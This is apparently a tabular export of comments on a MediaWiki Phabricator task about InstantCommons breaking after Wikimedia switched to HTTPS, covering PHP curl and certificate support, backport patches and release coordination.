For example I have file c.jpg in my server. This is shown properly in my wiki when ImageMagick is off. When I turn ImageMagic on, then the thumbnail in my wiki is not thumbnail of my server file. Then it shows thumbnail of Commons file and when I click it, it leads to my wiki original file not to commons file. That's the only way I get anything from commons to appear in my wiki.

Also when I ran maintenance scrip update.php after upgrading I got following error:


```
Failed to set the local repo temp zone container to be private.
Purging caches...done.

```

Maybe I have made a very simple mistake for example in LocalSettings.php that is causing this error or have some wrong permissions and the solution is easier than expected? Anyway I would be very glad if someone could help me with resolving this issue, have tried several things but still no effort.",,,1467741158,,PHID-USER-po472mkbnyu6lcw2mj3x,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,False,,,52,True,2.0,0.5,1.5,0.0,0.5,6.5,2.5,0.5,0.0,0.5,1.5,0.5,0.0,0.0,1.0,5.0,0.0,5.5,12.0,0.5,1.0,0.0,0.0,0.0,3.5,0.0,0.0,0.0,0.5,0.5,0.0,4.0,1.5,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,1.5,0.0,1.0,0.0,0.5,0.0,11.0,0.5,3.5,0.0,0.5,0.5,0.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,2.5,5.0,8.0,1.5,3.5,7.0,0.0,0.0,0.5,0.0,3.0,1.0,0.5,0.0,5.5,12.0,1.5,0.5,0.0,0.0,5.5,0.0,1.5,0.5,1.5,2.5,1.0,0.0,0.0,4.114285714285714,0.7857142857142857,"Hello!

I was looking for help in this topic about year ago because instantcommons stopped working in my wiki after switch to HTTPS. I was unable to detect the reason and solve this issue and there wasn't much time after that to deal with it more profoundly. About week ago I found out that the new LTS release 1.27 has come out and there were info that was big relief for me: 

``CODE`CODE`CODE``

Maybe I have made a very simple mistake for example in LocalSettings.php that is causing this error or have some wrong permissions and the solution is easier than expected? Anyway I would be very glad if someone could help me with resolving this issue, have tried several things but still no effort."
559499,InstantCommons broken by switch to HTTPS,First victims https://www.mediawiki.org/w/index.php?title=Talk%3AInstantCommons&type=revision&diff=1934260&oldid=1697860,,,1446837309,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,True,,,18,True,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,First victims URL
558755,InstantCommons broken by switch to HTTPS,"Change 224557 merged by BBlack:
HTTPS redirects: remove InstantCommons exception

[[https://gerrit.wikimedia.org/r/224557]]",,,1446744201,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,False,,,18,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,5.0,0.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,4.631578947368421,0.8421052631578947,"Change 224557 merged by BBlack:
HTTPS redirects: remove InstantCommons exception

[[GERRIT_URL]]"
558736,InstantCommons broken by switch to HTTPS,"It's been over a week since the email, which ended up going out a bit later after the releases than expected anyways.  Merging the removal of the exception today!",,,1446741318,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,True,,,18,True,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,18.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,3.0,6.0,3.0,0.0,21.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,18.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,6.0,0.0,6.0,0.0,0.0,0.0,3.9411764705882355,0.8823529411764706,"It's been over a week since the email, which ended up going out a bit later after the releases than expected anyways.  Merging the removal of the exception today!"
555650,InstantCommons broken by switch to HTTPS,">>! In T102566#1768664, @BBlack wrote:
> I haven't followed the low-level details too hard, but I think most of those with problems are on older PHP installs and/or Windows?

PHP without the cURL module (and not a very recent version - I wouldn't call 5.5 old) and/or Windows.

php-curl is pretty basic functionality nowadays, I doubt there are many shared hosts not supporting it. And for installations where you have root, adding php-curl is very easy. I don't think we need to do anything further in MediaWiki proper, although a manual workaround (patch, configuration instructions or whatever) would be nice. There is some information at [[ https://www.mediawiki.org/wiki/InstantCommons#HTTPS | InstantCommons#HTTPS ]] already, I'll add a link to this bug.",,,1446235000,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,True,,,17,True,1.5,1.0,1.5,0.0,2.5,7.0,2.0,0.0,1.0,0.0,1.0,2.0,0.0,0.0,1.5,3.5,0.5,7.0,5.5,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.5,1.5,0.5,1.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,4.0,0.0,1.5,0.0,0.0,0.0,10.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,1.5,0.0,1.5,0.5,0.0,0.0,2.5,3.5,8.5,1.5,2.0,5.5,0.0,0.0,0.0,0.0,4.0,0.0,0.5,0.0,4.5,5.5,2.0,0.0,0.0,0.0,4.5,0.0,1.5,2.0,0.0,1.0,0.0,0.0,2.0,3.9574810052600817,0.8289012273524254,"QUOTE
QUOTE

PHP without the cURL module (and not a very recent version - I wouldn't call 5.5 old) and/or Windows.

php-curl is pretty basic functionality nowadays, I doubt there are many shared hosts not supporting it. And for installations where you have root, adding php-curl is very easy. I don't think we need to do anything further in MediaWiki proper, although a manual workaround (patch, configuration instructions or whatever) would be nice. There is some information at [[ URL | InstantCommons#HTTPS ]] already, I'll add a link to this bug."
555397,InstantCommons broken by switch to HTTPS,">  This almost feels like trying to ship a bundled TCP/IP stack and set of ethernet hardware drivers with an application in the days of Trumpet Winsock :P

Why not, remember we also provide wiki infrastructure to villages without electricity.",,,1446217760,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,True,,,17,True,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,19.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,5.125,1.0,"QUOTE

Why not, remember we also provide wiki infrastructure to villages without electricity."
555349,InstantCommons broken by switch to HTTPS,"It really shouldn't be hard for an OS/distribution/platform/language/whatever to have working TLS with a standard CA bundle these days.  This almost feels like trying to ship a bundled TCP/IP stack and set of ethernet hardware drivers with an application in the days of Trumpet Winsock :P  I haven't followed the low-level details too hard, but I think most of those with problems are on older PHP installs and/or Windows?",,,1446211999,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,True,,,17,True,0.0,0.0,0.0,0.0,2.0,6.0,2.0,0.0,0.0,0.0,1.0,2.0,0.0,1.0,0.0,2.0,0.0,7.0,14.0,0.0,2.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,16.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,15.0,0.0,3.0,11.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,14.0,11.0,1.0,0.0,0.0,3.0,0.0,1.0,5.0,0.0,2.0,1.0,1.0,0.0,4.0227272727272725,0.7954545454545454,"It really shouldn't be hard for an OS/distribution/platform/language/whatever to have working TLS with a standard CA bundle these days.  This almost feels like trying to ship a bundled TCP/IP stack and set of ethernet hardware drivers with an application in the days of Trumpet Winsock :P  I haven't followed the low-level details too hard, but I think most of those with problems are on older PHP installs and/or Windows?"
555266,InstantCommons broken by switch to HTTPS,"Right, might be difficult due to the way OpenSSL usually wants to have certificates. Will try to figure out!",,,1446200434,,PHID-USER-qduasitr62ffvc5eiivd,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,True,,,17,True,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,23.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,14.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,18.0,5.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.090909090909091,0.9090909090909091,"Right, might be difficult due to the way OpenSSL usually wants to have certificates. Will try to figure out!"
555229,InstantCommons broken by switch to HTTPS,">>! In T102566#1761834, @saper wrote:
> Question: wouldn't that be possible to ship the certificate as a parameter to `$wgForeignXXXRepos` and not depend on whatever is the installed curl default? It will be nightmare to track this down on every possible OS and distribution...

The problem with that is that you cannot define a certificate bundle in any ""additive"" way, and we don't want to override the server default which might be restrictive (or non-restrictive) for a good reason. Providing it as a patch might be a good idea though (if you have one, feel free to add it to the task description).",,,1446184281,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,True,,,17,True,1.0,0.0,0.0,0.0,3.0,10.0,4.0,0.0,1.0,1.0,3.0,1.0,0.0,0.0,0.0,1.0,0.0,3.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,3.0,3.0,1.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,16.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,3.0,0.0,1.0,0.0,1.0,0.0,9.0,4.0,5.0,4.0,3.0,13.0,0.0,0.0,0.0,0.0,9.0,0.0,1.0,0.0,6.0,13.0,0.0,0.0,3.0,0.0,6.0,0.0,1.0,5.0,0.0,1.0,0.0,0.0,0.0,3.6103896103896105,0.7532467532467533,"QUOTE
QUOTE

The problem with that is that you cannot define a certificate bundle in any ""additive"" way, and we don't want to override the server default which might be restrictive (or non-restrictive) for a good reason. Providing it as a patch might be a good idea though (if you have one, feel free to add it to the task description)."
553791,InstantCommons broken by switch to HTTPS,Question: wouldn't that be possible to ship the certificate as a parameter to `$wgForeignXXXRepos` and not depend on whatever is the installed curl default? It will be nightmare to track this down on every possible OS and distribution...,,,1446042021,,PHID-USER-qduasitr62ffvc5eiivd,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,True,,,16,True,2.0,0.0,0.0,0.0,5.0,7.0,7.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,17.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,12.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,10.0,0.0,5.0,17.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,2.0,17.0,2.0,2.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,4.380952380952381,0.8333333333333334,Question: wouldn't that be possible to ship the certificate as a parameter to CODE and not depend on whatever is the installed curl default? It will be nightmare to track this down on every possible OS and distribution...
553383,InstantCommons broken by switch to HTTPS,[[ https://lists.wikimedia.org/pipermail/mediawiki-announce/2015-October/000183.html | Done. ]],,,1445982277,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,True,,,16,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,1.625,0.75,[[ URL | Done. ]]
553313,InstantCommons broken by switch to HTTPS,">>! In T102566#1732320, @Tgr wrote:
> Yes, a couple hours ago. We should write to mediawiki-announce, wait a week or so as a courtesy, and then drop Commons/uploads HTTP support.

Can someone take on composing and sending this email?  I'm probably not the best person for it.",,,1445977792,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,True,,,16,True,0.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,8.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,16.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,8.0,8.0,0.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,3.68,0.96,"QUOTE
QUOTE

Can someone take on composing and sending this email?  I'm probably not the best person for it."
547752,InstantCommons broken by switch to HTTPS,"Yes, a couple hours ago. We should write to mediawiki-announce, wait a week or so as a courtesy, and then drop Commons/uploads HTTP support.",,,1445040668,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,True,,,15,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,9.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,12.0,0.0,6.0,9.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,3.0,6.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,3.5454545454545454,0.8484848484848485,"Yes, a couple hours ago. We should write to mediawiki-announce, wait a week or so as a courtesy, and then drop Commons/uploads HTTP support."
547734,InstantCommons broken by switch to HTTPS,^ Was the software released? We still haven't removed the exception itself...,,,1445035637,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,True,,,15,True,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,13.0,7.0,13.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,7.0,0.0,0.0,13.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,4.4,0.9333333333333333,^ Was the software released? We still haven't removed the exception itself...
527686,InstantCommons broken by switch to HTTPS,">>! In T102566#1630396, @BBlack wrote:
> So, now we're pending on merge of those 3 and a new sec release of those versions?

Yerp. @csteipp and I are talking about getting a release out soon.",,,1442333513,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,True,,,10,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,28.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,11.0,17.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,11.0,0.0,0.0,6.0,3.9444444444444446,0.8888888888888888,"QUOTE
QUOTE

Yerp.SCREEN_NAME and I are talking about getting a release out soon."
525656,InstantCommons broken by switch to HTTPS,I have added the point to the #releng weekly meeting on 2015-09-17.,,,1442007582,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,True,,,10,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,6.0,0.0,0.0,17.0,0.0,6.0,11.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.111111111111111,0.8888888888888888,I have added the point to the #releng weekly meeting on 2015-09-17.
525416,InstantCommons broken by switch to HTTPS,"Bryan just merged them all, so just a new release (this probably does not count as a security issue, as `PhpHttpRequest` wasn't insecure before, it just did not work).",,,1441993967,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,True,,,10,True,3.0,0.0,0.0,0.0,8.0,6.0,3.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,25.0,6.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,3.5277777777777777,0.8055555555555556,"Bryan just merged them all, so just a new release (this probably does not count as a security issue, as CODE wasn't insecure before, it just did not work)."
525202,InstantCommons broken by switch to HTTPS,"So, now we're pending on merge of those 3 and a new sec release of those versions?",,,1441978656,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,True,,,10,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,5.0,0.0,10.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,5.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,15.0,5.0,5.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,3.3,0.9,"So, now we're pending on merge of those 3 and a new sec release of those versions?"
524934,InstantCommons broken by switch to HTTPS,"Backports that still need merging (I tested them all):
https://gerrit.wikimedia.org/r/#/q/Ibde59be61a5b3d7cd5397ba352dce9be11e1b06f,n,z
https://gerrit.wikimedia.org/r/#/q/I9eba0f90935e25e2d07995f6181fa90b7d52ea55,n,z
https://gerrit.wikimedia.org/r/#/q/Ibf552e22adc7fde4a751f92e92dad6ceba2f335c,n,z",,,1441933134,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,True,,,10,True,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,6.0,6.0,0.0,0.0,0.0,3.411764705882353,0.7647058823529411,"Backports that still need merging (I tested them all):
URL
URL
URL"
515695,InstantCommons broken by switch to HTTPS,"Both tasks have patches written by @Bawolff and tested by me, waiting for reviewers and +2.

@BBlack: the good news is PHP 5.6 correctly speaks HTTPS without curl (SAN and CA repo), the nightmare is stopping :-/",,,1440669173,,PHID-USER-2nopae2cxuamwcbndaih,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,False,,,8,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,14.0,0.0,7.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,7.0,16.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,4.232558139534884,0.8837209302325582,"Both tasks have patches written bySCREEN_NAME and tested by me, waiting for reviewers and +2.
SCREEN_NAME: the good news is PHP 5.6 correctly speaks HTTPS without curl (SAN and CA repo), the nightmare is stopping :-/"
514849,InstantCommons broken by switch to HTTPS,Pinged both of those tasks.  I'm pretty much out of patience with waiting for PHP to suddenly become a less-horrible platform for making requests over the Internet.,,,1440592436,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,True,,,7,True,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,12.0,24.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,24.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,6.0,3.0,0.0,0.0,4.181818181818182,0.9090909090909091,Pinged both of those tasks.  I'm pretty much out of patience with waiting for PHP to suddenly become a less-horrible platform for making requests over the Internet.
511493,InstantCommons broken by switch to HTTPS,"> Are there environments where curl is not available? (Shared hosting?)

Yes. (According to users.)",,,1440063737,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,True,,,7,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,3.0,0.9,"QUOTE

Yes. (According to users.)"
